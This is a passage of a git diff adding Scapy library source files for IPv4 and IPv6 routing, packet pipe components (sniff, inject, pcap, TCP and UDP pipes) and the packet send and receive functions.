+                self.routes[i] = (net,msk,gw,iface,the_addr,metric)
+        conf.netcache.flush()
+        
+                
+
+    def ifdel(self, iff):
+        self.invalidate_cache()
+        new_routes=[]
+        for rt in self.routes:
+            if scapy.consts.WINDOWS:
+                if iff.guid == rt[3].guid:
+                    continue
+            elif iff == rt[3]:
+                continue
+            new_routes.append(rt)
+        self.routes=new_routes
+        
+    def ifadd(self, iff, addr):
+        self.invalidate_cache()
+        the_addr,the_msk = (addr.split("/")+["32"])[:2]
+        the_msk = itom(int(the_msk))
+        the_rawaddr = atol(the_addr)
+        the_net = the_rawaddr & the_msk
+        self.routes.append((the_net,the_msk,'0.0.0.0',iff,the_addr,1))
+
+
+    def route(self,dest,verbose=None):
+        if isinstance(dest, list) and dest:
+            dest = dest[0]
+        if dest in self.cache:
+            return self.cache[dest]
+        if verbose is None:
+            verbose=conf.verb
+        # Transform "192.168.*.1-5" to one IP of the set
+        dst = dest.split("/")[0]
+        dst = dst.replace("*","0") 
+        while True:
+            l = dst.find("-")
+            if l < 0:
+                break
+            m = (dst[l:]+".").find(".")
+            dst = dst[:l]+dst[l+m:]
+
+            
+        dst = atol(dst)
+        pathes=[]
+        for d,m,gw,i,a,me in self.routes:
+            if not a: # some interfaces may not currently be connected
+                continue
+            aa = atol(a)
+            if aa == dst:
+                pathes.append(
+                    (0xffffffff, 1, (scapy.consts.LOOPBACK_INTERFACE, a, "0.0.0.0"))
+                )
+            if (dst & m) == (d & m):
+                pathes.append((m, me, (i,a,gw)))
+        if not pathes:
+            if verbose:
+                warning("No route found (no default route?)")
+            return scapy.consts.LOOPBACK_INTERFACE, "0.0.0.0", "0.0.0.0"
+        # Choose the more specific route
+        # Sort by greatest netmask
+        pathes.sort(key=lambda x: x[0], reverse=True)
+        # Get all pathes having the (same) greatest mask
+        pathes = [i for i in pathes if i[0] == pathes[0][0]]
+        # Tie-breaker: Metrics
+        pathes.sort(key=lambda x: x[1])
+        # Return interface
+        ret = pathes[0][2]
+        self.cache[dest] = ret
+        return ret
+            
+    def get_if_bcast(self, iff):
+        for net, msk, gw, iface, addr, metric in self.routes:
+            if net == 0:
+                continue
+            if scapy.consts.WINDOWS:
+                if iff.guid != iface.guid:
+                    continue
+            elif iff != iface:
+                continue
+            bcast = atol(addr)|(~msk&0xffffffff); # FIXME: check error in atol()
+            return ltoa(bcast)
+        warning("No broadcast address found for iface %s\n", iff);
+
+conf.route=Route()
+
+iface = conf.route.route("0.0.0.0", verbose=0)[0]
+
+# Warning: scapy.consts.LOOPBACK_INTERFACE must always be used statically, because it
+# may be changed by scapy/arch/windows during execution
+
+if (iface.name if hasattr(iface, "name") else iface) == scapy.consts.LOOPBACK_INTERFACE:
+    from scapy.arch import get_working_if
+    conf.iface = get_working_if()
+else:
+    conf.iface = iface
+
+del iface
diff --git a/scapy/route6.py b/scapy/route6.py
new file mode 100644
index 0000000..9cb5c7c
--- /dev/null
+++ b/scapy/route6.py
@@ -0,0 +1,280 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+## Copyright (C) 2005  Guillaume Valadon <guedou@hongo.wide.ad.jp>
+##                     Arnaud Ebalard <arnaud.ebalard@eads.net>
+
+"""
+Routing and network interface handling for IPv6.
+"""
+
+#############################################################################
+#############################################################################
+###                      Routing/Interfaces stuff                         ###
+#############################################################################
+#############################################################################
+
+from __future__ import absolute_import
+import socket
+import scapy.consts
+from scapy.config import conf
+from scapy.utils6 import *
+from scapy.arch import *
+from scapy.pton_ntop import *
+from scapy.error import warning, log_loading
+import scapy.modules.six as six
+
+
+class Route6:
+
+    def __init__(self):
+        self.resync()
+        self.invalidate_cache()
+
+    def invalidate_cache(self):
+        self.cache = {}
+
+    def flush(self):
+        self.invalidate_cache()
+        self.routes = []
+
+    def resync(self):
+        # TODO : At the moment, resync will drop existing Teredo routes
+        #        if any. Change that ...
+        self.invalidate_cache()
+        self.routes = read_routes6()
+        if self.routes == []:
+            log_loading.info("No IPv6 support in kernel")
+
+    def __repr__(self):
+        rtlst = []
+
+        for net, msk, gw, iface, cset, metric in self.routes:
+            rtlst.append(('%s/%i'% (net,msk), gw, (iface if isinstance(iface, six.string_types) else iface.name), ", ".join(cset) if len(cset) > 0 else "", str(metric)))
+
+        return pretty_list(rtlst,
+                             [('Destination', 'Next Hop', "Iface", "Src candidates", "Metric")],
+                             sortBy = 1)
+
+    # Unlike Scapy's Route.make_route() function, we do not have 'host' and 'net'
+    # parameters. We only have a 'dst' parameter that accepts 'prefix' and
+    # 'prefix/prefixlen' values.
+    # WARNING: Providing a specific device will at the moment not work correctly.
+    def make_route(self, dst, gw=None, dev=None):
+        """Internal function : create a route for 'dst' via 'gw'.
+        """
+        prefix, plen = (dst.split("/")+["128"])[:2]
+        plen = int(plen)
+
+        if gw is None:
+            gw = "::"
+        if dev is None:
+            dev, ifaddr, x = self.route(gw)
+        else:
+            # TODO: do better than that
+            # replace that unique address by the list of all addresses
+            lifaddr = in6_getifaddr()
+            devaddrs = [x for x in lifaddr if x[2] == dev]
+            ifaddr = construct_source_candidate_set(prefix, plen, devaddrs)
+
+        return (prefix, plen, gw, dev, ifaddr, 1)
+
+
+    def add(self, *args, **kargs):
+        """Ex:
+        add(dst="2001:db8:cafe:f000::/56")
+        add(dst="2001:db8:cafe:f000::/56", gw="2001:db8:cafe::1")
+        add(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1", dev="eth0")
+        """
+        self.invalidate_cache()
+        self.routes.append(self.make_route(*args, **kargs))
+
+
+    def delt(self, dst, gw=None):
+        """ Ex:
+        delt(dst="::/0")
+        delt(dst="2001:db8:cafe:f000::/56")
+        delt(dst="2001:db8:cafe:f000::/56", gw="2001:db8:deca::1")
+        """
+        tmp = dst+"/128"
+        dst, plen = tmp.split('/')[:2]
+        dst = in6_ptop(dst)
+        plen = int(plen)
+        l = [x for x in self.routes if in6_ptop(x[0]) == dst and x[1] == plen]
+        if gw:
+            gw = in6_ptop(gw)
+            l = [x for x in self.routes if in6_ptop(x[2]) == gw]
+        if len(l) == 0:
+            warning("No matching route found")
+        elif len(l) > 1:
+            warning("Found more than one match. Aborting.")
+        else:
+            i=self.routes.index(l[0])
+            self.invalidate_cache()
+            del(self.routes[i])
+
+    def ifchange(self, iff, addr):
+        the_addr, the_plen = (addr.split("/")+["128"])[:2]
+        the_plen = int(the_plen)
+
+        naddr = inet_pton(socket.AF_INET6, the_addr)
+        nmask = in6_cidr2mask(the_plen)
+        the_net = inet_ntop(socket.AF_INET6, in6_and(nmask,naddr))
+
+        for i, route in enumerate(self.routes):
+            net, plen, gw, iface, addr, metric = route
+            if iface != iff:
+                continue
+            if gw == '::':
+                self.routes[i] = (the_net,the_plen,gw,iface,[the_addr],metric)
+            else:
+                self.routes[i] = (net,plen,gw,iface,[the_addr],metric)
+        self.invalidate_cache()
+        conf.netcache.in6_neighbor.flush()
+
+    def ifdel(self, iff):
+        """ removes all route entries that uses 'iff' interface. """
+        new_routes=[]
+        for rt in self.routes:
+            if rt[3] != iff:
+                new_routes.append(rt)
+        self.invalidate_cache()
+        self.routes = new_routes
+
+
+    def ifadd(self, iff, addr):
+        """
+        Add an interface 'iff' with provided address into routing table.
+
+        Ex: ifadd('eth0', '2001:bd8:cafe:1::1/64') will add following entry into
+            Scapy6 internal routing table:
+
+            Destination           Next Hop  iface  Def src @           Metric
+            2001:bd8:cafe:1::/64  ::        eth0   2001:bd8:cafe:1::1  1
+
+            prefix length value can be omitted. In that case, a value of 128
+            will be used.
+        """
+        addr, plen = (addr.split("/")+["128"])[:2]
+        addr = in6_ptop(addr)
+        plen = int(plen)
+        naddr = inet_pton(socket.AF_INET6, addr)
+        nmask = in6_cidr2mask(plen)
+        prefix = inet_ntop(socket.AF_INET6, in6_and(nmask,naddr))
+        self.invalidate_cache()
+        self.routes.append((prefix,plen,'::',iff,[addr],1))
+
+    def route(self, dst, dev=None):
+        """
+        Provide best route to IPv6 destination address, based on Scapy6
+        internal routing table content.
+
+        When a set of address is passed (e.g. 2001:db8:cafe:*::1-5) an address
+        of the set is used. Be aware of that behavior when using wildcards in
+        upper parts of addresses !
+
+        If 'dst' parameter is a FQDN, name resolution is performed and result
+        is used.
+
+        if optional 'dev' parameter is provided a specific interface, filtering
+        is performed to limit search to route associated to that interface.
+        """
+        # Transform "2001:db8:cafe:*::1-5:0/120" to one IPv6 address of the set
+        dst = dst.split("/")[0]
+        savedst = dst # In case following inet_pton() fails
+        dst = dst.replace("*","0")
+        l = dst.find("-")
+        while l >= 0:
+            m = (dst[l:]+":").find(":")
+            dst = dst[:l]+dst[l+m:]
+            l = dst.find("-")
+
+        try:
+            inet_pton(socket.AF_INET6, dst)
+        except socket.error:
+            dst = socket.getaddrinfo(savedst, None, socket.AF_INET6)[0][-1][0]
+            # TODO : Check if name resolution went well
+
+        # Deal with dev-specific request for cache search
+        k = dst
+        if dev is not None:
+            k = dst + "%%" + (dev if isinstance(dev, six.string_types) else dev.pcap_name)
+        if k in self.cache:
+            return self.cache[k]
+
+        pathes = []
+
+        # TODO : review all kinds of addresses (scope and *cast) to see
+        #        if we are able to cope with everything possible. I'm convinced
+        #        it's not the case.
+        # -- arnaud
+        for p, plen, gw, iface, cset, me in self.routes:
+            if dev is not None and iface != dev:
+                continue
+            if in6_isincluded(dst, p, plen):
+                pathes.append((plen, me, (iface, cset, gw)))
+            elif (in6_ismlladdr(dst) and in6_islladdr(p) and in6_islladdr(cset[0])):
+                pathes.append((plen, me, (iface, cset, gw)))
+
+        if not pathes:
+            warning("No route found for IPv6 destination %s (no default route?)", dst)
+            return (scapy.consts.LOOPBACK_INTERFACE, "::", "::")
+
+        # Sort with longest prefix first
+        pathes.sort(reverse=True, key=lambda x: x[0])
+
+        best_plen = pathes[0][0]
+        pathes = [x for x in pathes if x[0] == best_plen]
+
+        res = []
+        for p in pathes: # Here we select best source address for every route
+            tmp = p[2]
+            srcaddr = get_source_addr_from_candidate_set(dst, tmp[1])
+            if srcaddr is not None:
+                res.append((p[0], p[1], (tmp[0], srcaddr, tmp[2])))
+
+        if res == []:
+            warning("Found a route for IPv6 destination '%s', but no possible source address.", dst)
+            return (scapy.consts.LOOPBACK_INTERFACE, "::", "::")
+
+        # Tie-breaker: Metrics
+        pathes.sort(key=lambda x: x[1])
+        pathes = [i for i in pathes if i[1] == pathes[0][1]]
+
+        # Symptom  : 2 routes with same weight (our weight is plen)
+        # Solution :
+        #  - dst is unicast global. Check if it is 6to4 and we have a source
+        #    6to4 address in those available
+        #  - dst is link local (unicast or multicast) and multiple output
+        #    interfaces are available. Take main one (conf.iface6)
+        #  - if none of the previous or ambiguity persists, be lazy and keep
+        #    first one
+
+        if len(res) > 1:
+            tmp = []
+            if in6_isgladdr(dst) and in6_isaddr6to4(dst):
+                # TODO : see if taking the longest match between dst and
+                #        every source addresses would provide better results
+                tmp = [x for x in res if in6_isaddr6to4(x[2][1])]
+            elif in6_ismaddr(dst) or in6_islladdr(dst):
+                # TODO : I'm sure we are not covering all addresses. Check that
+                tmp = [x for x in res if x[2][0] == conf.iface6]
+
+            if tmp:
+                res = tmp
+
+        # Fill the cache (including dev-specific request)
+        k = dst
+        if dev is not None:
+            k = dst + "%%" + (dev if isinstance(dev, six.string_types) else dev.pcap_name)
+        self.cache[k] = res[0][2]
+
+        return res[0][2]
+
+conf.route6 = Route6()
+try:
+    conf.iface6 = conf.route6.route("::/0")[0]
+except:
+    pass
diff --git a/scapy/scapypipes.py b/scapy/scapypipes.py
new file mode 100644
index 0000000..07b84c5
--- /dev/null
+++ b/scapy/scapypipes.py
@@ -0,0 +1,356 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+from __future__ import print_function
+import socket
+from scapy.modules.six.moves.queue import Queue, Empty
+from scapy.pipetool import Source,Drain,Sink
+from scapy.config import conf
+from scapy.compat import *
+from scapy.utils import PcapReader, PcapWriter
+from scapy.automaton import recv_error
+
+class SniffSource(Source):
+    """Read packets from an interface and send them to low exit.
+     +-----------+
+  >>-|           |->>
+     |           |
+   >-|  [iface]--|->
+     +-----------+
+"""
+    def __init__(self, iface=None, filter=None, name=None):
+        Source.__init__(self, name=name)
+        self.iface = iface
+        self.filter = filter
+    def start(self):
+        self.s = conf.L2listen(iface=self.iface, filter=self.filter)
+    def stop(self):
+        self.s.close()
+    def fileno(self):
+        return self.s.fileno()
+    def check_recv(self):
+        return True
+    def deliver(self):
+        try:
+            self._send(self.s.recv())
+        except recv_error:
+            if not WINDOWS:
+                raise
+
+class RdpcapSource(Source):
+    """Read packets from a PCAP file send them to low exit.
+     +----------+
+  >>-|          |->>
+     |          |
+   >-|  [pcap]--|->
+     +----------+
+"""
+    def __init__(self, fname, name=None):
+        Source.__init__(self, name=name)
+        self.fname = fname
+        self.f = PcapReader(self.fname)
+    def start(self):
+        print("start")
+        self.f = PcapReader(self.fname)
+        self.is_exhausted = False
+    def stop(self):
+        print("stop")
+        self.f.close()
+    def fileno(self):
+        return self.f.fileno()
+    def check_recv(self):
+        return True
+    def deliver(self):    
+        p = self.f.recv()
+        print("deliver %r" % p)
+        if p is None:
+            self.is_exhausted = True
+        else:
+            self._send(p)
+
+
+class InjectSink(Sink):
+    """Packets received on low input are injected to an interface
+     +-----------+
+  >>-|           |->>
+     |           |
+   >-|--[iface]  |->
+     +-----------+
+"""
+    def __init__(self, iface=None, name=None):
+        Sink.__init__(self, name=name)
+        if iface == None:
+            iface = conf.iface
+        self.iface = iface
+    def start(self):
+        self.s = conf.L2socket(iface=self.iface)
+    def stop(self):
+        self.s.close()
+    def push(self, msg):
+        self.s.send(msg)
+
+class Inject3Sink(InjectSink):
+    def start(self):
+        self.s = conf.L3socket(iface=self.iface)
+    
+    
+class WrpcapSink(Sink):
+    """Packets received on low input are written to PCA file
+     +----------+
+  >>-|          |->>
+     |          |
+   >-|--[pcap]  |->
+     +----------+
+"""
+    def __init__(self, fname, name=None):
+        Sink.__init__(self, name=name)
+        self.f = PcapWriter(fname)
+    def stop(self):
+        self.f.flush()
+        self.f.close()
+    def push(self, msg):
+        self.f.write(msg)
+        
+
+class UDPDrain(Drain):
+    """UDP payloads received on high entry are sent over UDP
+     +-------------+
+  >>-|--[payload]--|->>
+     |      X      |
+   >-|----[UDP]----|->
+     +-------------+
+"""
+    def __init__(self, ip="127.0.0.1", port=1234):
+        Drain.__init__(self)
+        self.ip = ip
+        self.port = port
+
+    def push(self, msg):
+        from scapy.layers.inet import IP, UDP
+        if IP in msg and msg[IP].proto == 17 and UDP in msg:
+            payload = msg[UDP].payload
+            self._high_send(raw(payload))
+    def high_push(self, msg):
+        from scapy.layers.inet import IP, UDP
+        p = IP(dst=self.ip)/UDP(sport=1234,dport=self.port)/msg
+        self._send(p)
+        
+
+class FDSourceSink(Source):
+    """Use a file descriptor as source and sink
+     +-------------+
+  >>-|             |->>
+     |             |
+   >-|-[file desc]-|->
+     +-------------+
+"""
+    def __init__(self, fd, name=None):
+        Source.__init__(self, name=name)
+        self.fd = fd
+    def push(self, msg):
+        self.fd.write(msg)
+    def fileno(self):
+        return self.fd.fileno()
+    def deliver(self):
+        self._send(self.fd.read())
+
+
+class TCPConnectPipe(Source):
+    """TCP connect to addr:port and use it as source and sink
+     +-------------+
+  >>-|             |->>
+     |             |
+   >-|-[addr:port]-|->
+     +-------------+
+"""
+    __selectable_force_select__ = True
+    def __init__(self, addr="", port=0, name=None):
+        Source.__init__(self, name=name)
+        self.addr = addr
+        self.port = port
+        self.fd = None
+    def start(self):
+        self.fd = socket.socket()
+        self.fd.connect((self.addr,self.port))
+    def stop(self):
+        if self.fd:
+            self.fd.close()
+    def push(self, msg):
+        self.fd.send(msg)
+    def fileno(self):
+        return self.fd.fileno()
+    def deliver(self):
+        try:
+            msg = self.fd.recv(65536)
+        except socket.error:
+            self.stop()
+            raise
+        if msg:
+            self._send(msg)
+
+class TCPListenPipe(TCPConnectPipe):
+    """TCP listen on [addr:]port and use first connection as source and sink ; send peer address to high output
+     +------^------+
+  >>-|    +-[peer]-|->>
+     |   /         |
+   >-|-[addr:port]-|->
+     +-------------+
+"""
+    __selectable_force_select__ = True
+    def __init__(self, addr="", port=0, name=None):
+        TCPConnectPipe.__init__(self, addr, port, name)
+        self.connected = False
+        self.q = Queue()
+    def start(self):
+        self.connected = False
+        self.fd = socket.socket()
+        self.fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.fd.bind((self.addr,self.port))
+        self.fd.listen(1)
+    def push(self, msg):
+        if self.connected:
+            self.fd.send(msg)
+        else:
+            self.q.put(msg)
+    def deliver(self):
+        if self.connected:
+            try:
+                msg = self.fd.recv(65536)
+            except socket.error:
+                self.stop()
+                raise
+            if msg:
+                self._send(msg)
+        else:
+            fd,frm = self.fd.accept()
+            self._high_send(frm)
+            self.fd.close()
+            self.fd = fd
+            self.connected = True
+            self._trigger(frm)
+            while True:
+                try:
+                    self.fd.send(self.q.get(block=False))
+                except Empty:
+                    break
+
+
+class TriggeredMessage(Drain):
+    """Send a preloaded message when triggered and trigger in chain
+     +------^------+
+  >>-|      | /----|->>
+     |      |/     |
+   >-|-[ message ]-|->
+     +------^------+
+"""
+    def __init__(self, msg, name=None):
+        Drain.__init__(self, name=name)
+        self.msg = msg
+    def on_trigger(self, trigmsg):
+        self._send(self.msg)
+        self._high_send(self.msg)
+        self._trigger(trigmsg)
+
+class TriggerDrain(Drain):
+    """Pass messages and trigger when a condition is met
+     +------^------+
+  >>-|-[condition]-|->>
+     |      |      |
+   >-|-[condition]-|->
+     +-------------+
+"""
+    def __init__(self, f, name=None):
+        Drain.__init__(self, name=name)
+        self.f = f
+    def push(self, msg):
+        v = self.f(msg)
+        if v:
+            self._trigger(v)
+        self._send(msg)
+    def high_push(self, msg):
+        v = self.f(msg)
+        if v:
+            self._trigger(v)
+        self._high_send(msg)
+
+class TriggeredValve(Drain):
+    """Let messages alternatively pass or not, changing on trigger
+     +------^------+
+  >>-|-[pass/stop]-|->>
+     |      |      |
+   >-|-[pass/stop]-|->
+     +------^------+
+"""
+    def __init__(self, start_state=True, name=None):
+        Drain.__init__(self, name=name)
+        self.opened = start_state
+    def push(self, msg):
+        if self.opened:
+            self._send(msg)
+    def high_push(self, msg):
+        if self.opened:
+            self._high_send(msg)
+    def on_trigger(self, msg):
+        self.opened ^= True
+        self._trigger(msg)
+
+class TriggeredQueueingValve(Drain):
+    """Let messages alternatively pass or queued, changing on trigger
+     +------^-------+
+  >>-|-[pass/queue]-|->>
+     |      |       |
+   >-|-[pass/queue]-|->
+     +------^-------+
+"""
+    def __init__(self, start_state=True, name=None):
+        Drain.__init__(self, name=name)
+        self.opened = start_state
+        self.q = Queue()
+    def start(self):
+        self.q = Queue()
+    def push(self, msg):
+        if self.opened:
+            self._send(msg)
+        else:
+            self.q.put((True,msg))
+    def high_push(self, msg):
+        if self.opened:
+            self._send(msg)
+        else:
+            self.q.put((False,msg))
+    def on_trigger(self, msg):
+        self.opened ^= True
+        self._trigger(msg)
+        while True:
+            try:
+                low,msg = self.q.get(block=False)
+            except Empty:
+                break
+            else:
+                if low:
+                    self._send(msg)
+                else:
+                    self._high_send(msg)
+
+class TriggeredSwitch(Drain):
+    """Let messages alternatively high or low, changing on trigger
+     +------^------+
+  >>-|-\    |    /-|->>
+     |  [up/down]  |
+   >-|-/    |    \-|->
+     +------^------+
+"""
+    def __init__(self, start_state=True, name=None):
+        Drain.__init__(self, name=name)
+        self.low = start_state
+    def push(self, msg):
+        if self.low:
+            self._send(msg)
+        else:
+            self._high_send(msg)
+    high_push = push
+    def on_trigger(self, msg):
+        self.low ^= True
+        self._trigger(msg)
diff --git a/scapy/sendrecv.py b/scapy/sendrecv.py
new file mode 100644
index 0000000..d67e010
--- /dev/null
+++ b/scapy/sendrecv.py
@@ -0,0 +1,863 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Functions to send and receive packets.
+"""
+
+from __future__ import absolute_import, print_function
+import errno
+import itertools
+import threading
+import os
+from select import select, error as select_error
+import subprocess
+import time
+
+from scapy.consts import DARWIN, FREEBSD, OPENBSD, WINDOWS
+from scapy.data import ETH_P_ALL, MTU
+from scapy.config import conf
+from scapy.packet import Gen
+from scapy.utils import get_temp_file, PcapReader, tcpdump, wrpcap
+from scapy import plist
+from scapy.error import log_runtime, log_interactive
+from scapy.base_classes import SetGen
+from scapy.supersocket import StreamSocket, L3RawSocket, L2ListenTcpdump
+from scapy.modules import six
+from scapy.modules.six.moves import map
+if conf.route is None:
+    # unused import, only to initialize conf.route
+    import scapy.route
+from scapy.supersocket import SuperSocket
+
+#################
+## Debug class ##
+#################
+
+class debug:
+    recv=[]
+    sent=[]
+    match=[]
+
+
+####################
+## Send / Receive ##
+####################
+
+
+def _sndrcv_snd(pks, timeout, inter, verbose, tobesent, stopevent):
+    """Function used in the sending thread of sndrcv()"""
+    try:
+        i = 0
+        if verbose:
+            print("Begin emission:")
+        for p in tobesent:
+            pks.send(p)
+            i += 1
+            time.sleep(inter)
+        if verbose:
+            print("Finished to send %i packets." % i)
+    except SystemExit:
+        pass
+    except KeyboardInterrupt:
+        pass
+    except:
+        log_runtime.info("--- Error sending packets", exc_info=True)
+    if timeout is not None:
+        stopevent.wait(timeout)
+        stopevent.set()
+
+class _BreakException(Exception):
+    """A dummy exception used in _get_pkt() to get out of the infinite
+loop
+
+    """
+    pass
+
+def _sndrcv_rcv(pks, tobesent, stopevent, nbrecv, notans, verbose, chainCC,
+                multi):
+    """Function used to recieve packets and check their hashret"""
+    ans = []
+    hsent = {}
+    for i in tobesent:
+        h = i.hashret()
+        hsent.setdefault(i.hashret(), []).append(i)
+
+    if WINDOWS:
+        def _get_pkt():
+            return pks.recv(MTU)
+    elif conf.use_bpf:
+        from scapy.arch.bpf.supersocket import bpf_select
+        def _get_pkt():
+            if bpf_select([pks]):
+                return pks.recv()
+    elif (conf.use_pcap and not isinstance(pks, (StreamSocket, L3RawSocket, L2ListenTcpdump))) or \
+         (not isinstance(pks, (StreamSocket, L2ListenTcpdump)) and (DARWIN or FREEBSD or OPENBSD)):
+        def _get_pkt():
+            res = pks.nonblock_recv()
+            if res is None:
+                time.sleep(0.05)
+            return res
+    else:
+        def _get_pkt():
+            try:
+                inp, _, _ = select([pks], [], [], 0.05)
+            except (IOError, select_error) as exc:
+                # select.error has no .errno attribute
+                if exc.args[0] != errno.EINTR:
+                    raise
+            else:
+                if inp:
+                    return pks.recv(MTU)
+            if stopevent.is_set():
+                raise _BreakException()
+
+    try:
+        try:
+            while True:
+                r = _get_pkt()
+                if r is None:
+                    if stopevent.is_set():
+                        break
+                    continue
+                ok = False
+                h = r.hashret()
+                if h in hsent:
+                    hlst = hsent[h]
+                    for i, sentpkt in enumerate(hlst):
+                        if r.answers(sentpkt):
+                            ans.append((sentpkt, r))
+                            if verbose > 1:
+                                os.write(1, b"*")
+                            ok = True
+                            if not multi:
+                                del hlst[i]
+                                notans -= 1
+                            else:
+                                if not hasattr(sentpkt, '_answered'):
+                                    notans -= 1
+                                sentpkt._answered = 1
+                            break
+                if notans == 0 and not multi:
+                    break
+                if not ok:
+                    if verbose > 1:
+                        os.write(1, b".")
+                    nbrecv += 1
+                    if conf.debug_match:
+                        debug.recv.append(r)
+        except KeyboardInterrupt:
+            if chainCC:
+                raise
+        except _BreakException:
+            pass
+    finally:
+        stopevent.set()
+    return (hsent, ans, nbrecv, notans)
+
+def sndrcv(pks, pkt, timeout=None, inter=0, verbose=None, chainCC=False,
+           retry=0, multi=False, rcv_pks=None):
+    """Scapy raw function to send a packet and recieve its answer.
+    WARNING: This is an internal function. Using sr/srp/sr1/srp is
+    more appropriate in many cases.
+
+    pks: SuperSocket instance to send/recieve packets
+    pkt: the packet to send
+    rcv_pks: if set, will be used instead of pks to recieve packets. packets will still
+             be sent through pks
+    nofilter: put 1 to avoid use of BPF filters
+    retry:    if positive, how many times to resend unanswered packets
+              if negative, how many times to retry when no more packets are answered
+    timeout:  how much time to wait after the last packet has been sent
+    verbose:  set verbosity level
+    multi:    whether to accept multiple answers for the same stimulus"""
+    if not isinstance(pkt, Gen):
+        pkt = SetGen(pkt)
+    if verbose is None:
+        verbose = conf.verb
+    debug.recv = plist.PacketList([],"Unanswered")
+    debug.sent = plist.PacketList([],"Sent")
+    debug.match = plist.SndRcvList([])
+    nbrecv = 0
+    ans = []
+    # do it here to fix random fields, so that parent and child have the same
+    tobesent = [p for p in pkt]
+    notans = len(tobesent)
+
+    if retry < 0:
+        retry = -retry
+        autostop = retry
+    else:
+        autostop = 0
+
+    while retry >= 0:
+        if timeout is not None and timeout < 0:
+            timeout = None
+        stopevent = threading.Event()
+
+        thread = threading.Thread(
+            target=_sndrcv_snd,
+            args=(pks, timeout, inter, verbose, tobesent, stopevent),
+        )
+        thread.start()
+
+        hsent, newans, nbrecv, notans = _sndrcv_rcv(
+            (rcv_pks or pks), tobesent, stopevent, nbrecv, notans, verbose, chainCC, multi,
+        )
+        thread.join()
+        ans.extend(newans)
+
+        remain = list(itertools.chain(*six.itervalues(hsent)))
+        if multi:
+            remain = [p for p in remain if not hasattr(p, '_answered')]
+
+        if autostop and len(remain) > 0 and len(remain) != len(tobesent):
+            retry = autostop
+            
+        tobesent = remain
+        if len(tobesent) == 0:
+            break
+        retry -= 1
+
+    if conf.debug_match:
+        debug.sent=plist.PacketList(remain[:], "Sent")
+        debug.match=plist.SndRcvList(ans[:])
+
+    # Clean the ans list to delete the field _answered
+    if multi:
+        for snd, _ in ans:
+            if hasattr(snd, '_answered'):
+                del snd._answered
+
+    if verbose:
+        print("\nReceived %i packets, got %i answers, remaining %i packets" % (nbrecv+len(ans), len(ans), notans))
+    return plist.SndRcvList(ans), plist.PacketList(remain, "Unanswered")
+
+
+def __gen_send(s, x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, *args, **kargs):
+    if isinstance(x, str):
+        x = conf.raw_layer(load=x)
+    if not isinstance(x, Gen):
+        x = SetGen(x)
+    if verbose is None:
+        verbose = conf.verb
+    n = 0
+    if count is not None:
+        loop = -count
+    elif not loop:
+        loop = -1
+    if return_packets:
+        sent_packets = plist.PacketList()
+    try:
+        while loop:
+            dt0 = None
+            for p in x:
+                if realtime:
+                    ct = time.time()
+                    if dt0:
+                        st = dt0+p.time-ct
+                        if st > 0:
+                            time.sleep(st)
+                    else:
+                        dt0 = ct-p.time
+                s.send(p)
+                if return_packets:
+                    sent_packets.append(p)
+                n += 1
+                if verbose:
+                    os.write(1,b".")
+                time.sleep(inter)
+            if loop < 0:
+                loop += 1
+    except KeyboardInterrupt:
+        pass
+    s.close()
+    if verbose:
+        print("\nSent %i packets." % n)
+    if return_packets:
+        return sent_packets
+        
+@conf.commands.register
+def send(x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, socket=None,
+         *args, **kargs):
+    """Send packets at layer 3
+send(packets, [inter=0], [loop=0], [count=None], [verbose=conf.verb], [realtime=None], [return_packets=False],
+     [socket=None]) -> None"""
+    if socket is None:
+        socket = conf.L3socket(*args, **kargs)
+    return __gen_send(socket, x, inter=inter, loop=loop, count=count,verbose=verbose,
+                      realtime=realtime, return_packets=return_packets)
+
+@conf.commands.register
+def sendp(x, inter=0, loop=0, iface=None, iface_hint=None, count=None, verbose=None, realtime=None,
+          return_packets=False, socket=None, *args, **kargs):
+    """Send packets at layer 2
+sendp(packets, [inter=0], [loop=0], [iface=None], [iface_hint=None], [count=None], [verbose=conf.verb],
+      [realtime=None], [return_packets=False], [socket=None]) -> None"""
+    if iface is None and iface_hint is not None and socket is None:
+        iface = conf.route.route(iface_hint)[0]
+    if socket is None:
+        socket = conf.L2socket(iface=iface, *args, **kargs)
+    return __gen_send(socket, x, inter=inter, loop=loop, count=count,
+                      verbose=verbose, realtime=realtime, return_packets=return_packets)
+
+@conf.commands.register
+def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, file_cache=False, iface=None):
+    """Send packets at layer 2 using tcpreplay for performance
+    pps:  packets per second
+    mpbs: MBits per second
+    realtime: use packet's timestamp, bending time with real-time value
+    loop: number of times to process the packet list
+    file_cache: cache packets in RAM instead of reading from disk at each iteration
+    iface: output interface """
+    if iface is None:
+        iface = conf.iface
+    argv = [conf.prog.tcpreplay, "--intf1=%s" % iface ]
+    if pps is not None:
+        argv.append("--pps=%i" % pps)
+    elif mbps is not None:
+        argv.append("--mbps=%f" % mbps)
+    elif realtime is not None:
+        argv.append("--multiplier=%f" % realtime)
+    else:
+        argv.append("--topspeed")
+
+    if loop:
+        argv.append("--loop=%i" % loop)
+        if file_cache:
+            argv.append("--preload-pcap")
+
+    f = get_temp_file()
+    argv.append(f)
+    wrpcap(f, x)
+    try:
+        subprocess.check_call(argv)
+    except KeyboardInterrupt:
+        log_interactive.info("Interrupted by user")
+    except Exception:
+        if conf.interactive:
+            log_interactive.error("Cannot execute [%s]", argv[0], exc_info=True)
+        else:
+            raise
+    finally:
+        os.unlink(f)
+
+        
+
+        
+    
+@conf.commands.register
+def sr(x, promisc=None, filter=None, iface=None, nofilter=0, *args,**kargs):
+    """Send and receive packets at layer 3
+nofilter: put 1 to avoid use of BPF filters
+retry:    if positive, how many times to resend unanswered packets
+          if negative, how many times to retry when no more packets are answered
+timeout:  how much time to wait after the last packet has been sent
+verbose:  set verbosity level
+multi:    whether to accept multiple answers for the same stimulus
+filter:   provide a BPF filter
+iface:    listen answers only on the given interface"""
